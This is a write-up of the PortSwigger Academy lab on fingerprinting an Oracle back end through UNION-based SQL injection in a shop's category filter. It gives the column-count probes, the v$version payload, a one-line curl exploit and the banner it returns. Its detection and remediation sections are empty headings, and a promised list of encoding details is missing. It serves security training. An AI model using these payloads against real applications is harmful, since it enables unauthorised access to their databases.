pen-test-lab// Request a test →
Writeup · PortSwigger Academy · SQL Injection

' UNION — fingerprinting Oracle

A shop's category filter drops user input straight into a SQL WHERE clause. One quote breaks out of it, a UNION SELECT rides along with the real query, and the database prints its own version banner onto the product page. The target is Oracle, and Oracle has rules the other engines don't. The whole attack fits in a single curl.

platform PortSwigger Web Security Academy level Practitioner backend Oracle 11g XE vector GET /filter?category= result solved · v$version banner
// 00

Executive summary

The lab is SQL injection attack, querying the database type and version on Oracle. The goal is to make the application return the Oracle version strings. That's the first thing a real tester does after confirming an injection, because the engine decides every payload that comes after it: comment syntax, string concatenation, metadata tables, and which functions exist.

Nothing here needed sqlmap or Burp. Working out the payload took two facts: how many columns the original query returns, and that Oracle won't run a SELECT without a FROM.

hex@kali:~ — oracle sqli· · ·
#1injection point → category param lands inside WHERE '...'
#2column count → 2 text columns (name, description)
#3oracle rules → every SELECT needs FROM (dual / v$version)
#4union select → BANNER, NULL FROM v$version
#5banner on page → lab solved

PHASE 01 · recon

Finding where input meets SQL

The app is a stock Academy storefront. The only user-controlled input is the category filter, a plain GET parameter:

GET /filter?category=Gifts

The page lists products with two text fields each, a name and a description. That's a good hint at the shape of the backing query:

-- what the server is almost certainly running
SELECT name, description FROM products WHERE category = 'Gifts'

The value sits inside single quotes, so a ' in the parameter closes the string early. Whatever follows it is parsed as SQL.


PHASE 02 · shaping the union

Column count and Oracle's rules

A UNION only works if both sides return the same number of columns with compatible types. The two visible fields point to two columns. The standard ways to confirm that are an ORDER BY walk (sort by column N until it errors) or a NULL probe:

# confirm two columns

-- ORDER BY walk: 2 renders, 3 errors → two columns
/filter?category=Gifts'+ORDER+BY+2--
/filter?category=Gifts'+ORDER+BY+3--

-- or a NULL probe: note the FROM dual
/filter?category=Gifts'+UNION+SELECT+NULL,NULL+FROM+dual--

Oracle's quirk. On MySQL, MSSQL and PostgreSQL, UNION SELECT NULL,NULL-- is a valid probe. On Oracle it's a syntax error, because every SELECT must have a FROM. Oracle provides the one-row dummy table dual for this. If your probes keep erroring on what should be a clean injection, that's often the reason, and it's also a fingerprint in itself.

# where the version lives

On Oracle the version strings sit in the dynamic performance view v$version, one row per component, in a single column called BANNER. It's one column, and the query needs two, so NULL fills the second slot. NULL is type-compatible with anything, which is why it's the standard filler.

EngineVersion queryComment
OracleSELECT banner FROM v$version-- (FROM required)
MySQLSELECT @@version# or -- (space)
MSSQLSELECT @@version--
PostgreSQLSELECT version()--

PHASE 03 · exploitation

One request

Putting it together: close the string, union in the banner column plus a filler, pull from v$version, and comment out the trailing quote the app appends.

curlgrep
$ curl -s "https://<lab-id>.web-security-academy.net/filter?category=Gifts'+UNION+SELECT+BANNER,NULL+FROM+v%24version--" \
    | grep -iE 'oracle|solved'

Two encoding details matter here:

The query the server ends up running:

SELECT name, description FROM products WHERE category = 'Gifts'
UNION SELECT BANNER, NULL FROM v$version--'

The banner rows come back as extra "products" alongside the real Gifts listings:

Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production
PL/SQL Release 11.2.0.2.0 - Production
CORE    11.2.0.2.0      Production
TNS for Linux: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production

The banner rendered, and the lab header flipped to Solved on refresh. A single request from the terminal did it, with no proxy involved.

Why it matters beyond the flag. An exact engine and version (Oracle 11.2.0.2 XE, on Linux) tells you which metadata views to enumerate next (all_tables, all_tab_columns), that string concatenation is ||, and which known CVEs and privilege-escalation paths apply to that build. Fingerprinting is the step that makes every later step targeted instead of guessed.


PHASE 04 · blue team

Detecting and fixing it

# detection

# remediation